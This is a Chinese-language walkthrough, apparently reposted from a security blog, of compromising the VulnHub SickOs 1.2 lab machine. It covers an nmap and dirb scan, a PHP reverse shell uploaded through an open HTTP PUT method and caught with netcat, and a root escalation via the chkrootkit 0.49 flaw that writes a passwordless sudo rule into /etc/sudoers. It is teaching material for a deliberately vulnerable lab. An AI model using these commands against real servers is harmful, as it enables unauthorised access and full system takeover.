SickOs 1.2(超详细教学)

admin 2025年2月9日22:54:40评论9 views字数 2361阅读7分52秒阅读模式

靶机地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

使用

arp-scan -l

查找靶机ip地址

SickOs 1.2(超详细教学)

靶机ip地址为192.168.55.146

攻击机的ip地址为192.168.55.129

二、进行端口扫描、目录枚举、指纹识别

1.端口扫描

nmap 192.168.55.146
SickOs 1.2(超详细教学)

发现靶机只有22和80端口

2.目录枚举

dirb http://192.168.55.146
SickOs 1.2(超详细教学)

3.指纹识别

常用命令:

nmap 192.168.55.146 -sV -sC -O --version-all
SickOs 1.2(超详细教学)

三、进入靶机网页进行信息收集

SickOs 1.2(超详细教学)

网页中没有功能点,没有其它的信息

四、反弹shell

我们回到刚刚的目录扫描中发现页面中有一个敏感目录:

http://192.168.55.146/test/

访问此url发现这是一个目录列表,还有一个版本信息

SickOs 1.2(超详细教学)

搜了一下lighttpd的漏洞,发现没有什么能够利用的

SickOs 1.2(超详细教学)

补充知识:

curl(Client URL)是一个用于传输数据的工具,它支持多种协议,包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP 等。其主要用途是通过指定的协议从服务器上获取数据或向服务器发送数据,而不需要用户手动进行复杂的网络交互操作。

这里使用curl检查目录test上可用的HTTP方法

curl -v -X OPTIONS http://192.168.55.146/test

命令解释:
-v:即 --verbose,表示开启详细模式。使用该选项后,curl 会输出更多关于请求和响应的详细信息,包括请求头、响应头、传输过程等,有助于调试和了解请求的具体情况。
-X OPTIONS:-X 选项用于指定 HTTP 请求方法,这里指定的方法是 OPTIONS。OPTIONS 是一种 HTTP 请求方法,客户端使用它可以向服务器询问针对特定资源所支持的请求方法,或者服务器的一些通用功能。简单来说,客户端可以通过发送 OPTIONS 请求来了解服务器对于某个资源可以接受哪些操作(如 GET、POST、PUT 等)。

当执行这个命令后,终端会输出详细的请求和响应信息

此处发现可以使用PUT上传文件

SickOs 1.2(超详细教学)

首先打开/usr/share/webshells/php/php-reverse-shell.php文件,这个是一个反弹shell的php文件,将其中的ip改为自己的攻击机ip,端口设置为443端口(8888之类的端口不能反弹,可能是防火墙不允许这种非常用端口)

SickOs 1.2(超详细教学)

进行文件上传:

curl --upload-file php-reverse-shell.php -v --url http://192.168.55.146/test/a.php -0 --http1.0

此命令是将桌面上的反弹shell的文件上传到网站中并命名为a.php
SickOs 1.2(超详细教学)

在桌面中再开一个终端进行443端口的监听

nc -lvvp 443

开启监听后在网页中访问a.php文件

反弹shell成功

SickOs 1.2(超详细教学)

五、提权

使用命令开启交互式终端,可以看到回显信息:

python -c 'import pty; pty.spawn("/bin/bash")'
SickOs 1.2(超详细教学)

进行信息收集:

lsb_release -a
SickOs 1.2(超详细教学)

补充知识:

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另外, 由于使用者自己也可以设置计划任务,所以, Linux系统也提供了使用者控制计划任务的命令 :crontab 命令。

基于此我们可以查看计划任务:

ls -l /etc/cron*
SickOs 1.2(超详细教学)

chkrootkit 是一款在类 Unix 系统(包括 Kali Linux)中广泛使用的开源工具,主要用于检测系统是否被植入了 Rootkit

查看此工具的版本,并检查是否有漏洞

SickOs 1.2(超详细教学)

查看到是0.49版本

发现存在漏洞

SickOs 1.2(超详细教学)

将exp拷贝到桌面

SickOs 1.2(超详细教学)

根据漏洞可知,靶机中的文件 /tmp/update 将以 root 身份执行

SickOs 1.2(超详细教学)

进入tmp目录后发现没有update目录,我们创建一个update文件,然后在其中插入提权语句

echo'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

命令解释:
chmod 777 /etc/sudoers:
chmod 是用于修改文件权限的命令。
777 表示赋予文件所有者、所属组和其他用户读、写、执行的所有权限。
/etc/sudoers 文件默认权限通常为 440,仅允许 root 用户读写,此步骤是为了后续能够向该文件写入内容。

echo"www-data ALL=NOPASSWD: ALL" >> /etc/sudoers:
echo 用于输出字符串。
"www-data ALL=NOPASSWD: ALL" 是 sudoers 文件的一条规则,意味着 www-data 用户在使用 sudo 执行命令时无需输入密码。
>> 是追加重定向符号,将 echo 输出的内容追加到 /etc/sudoers 文件的末尾。

chmod 440 /etc/sudoers:
恢复 /etc/sudoers 文件的原始权限,即文件所有者和所属组有读权限,其他用户没有任何权限。这是为了保证文件的安全性,防止非授权用户对其进行修改。

继续执行:

chmod 777 /tmp/update
ls -la /etc/sudoers

可以执行两次ls -la /etc/sudoers命令,两次命令中间需要间隔2分钟左右,文件大小改变后说明文件执行,我们也就获得了root权限

文件大小改变后输入以下命令即可:

sudo -l
sudo su
SickOs 1.2(超详细教学)

提权成功!

原文始发于微信公众号(泷羽Sec-pp502的安全笔记):SickOs 1.2(超详细教学)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日22:54:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SickOs 1.2(超详细教学)https://cn-sec.com/archives/3718687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息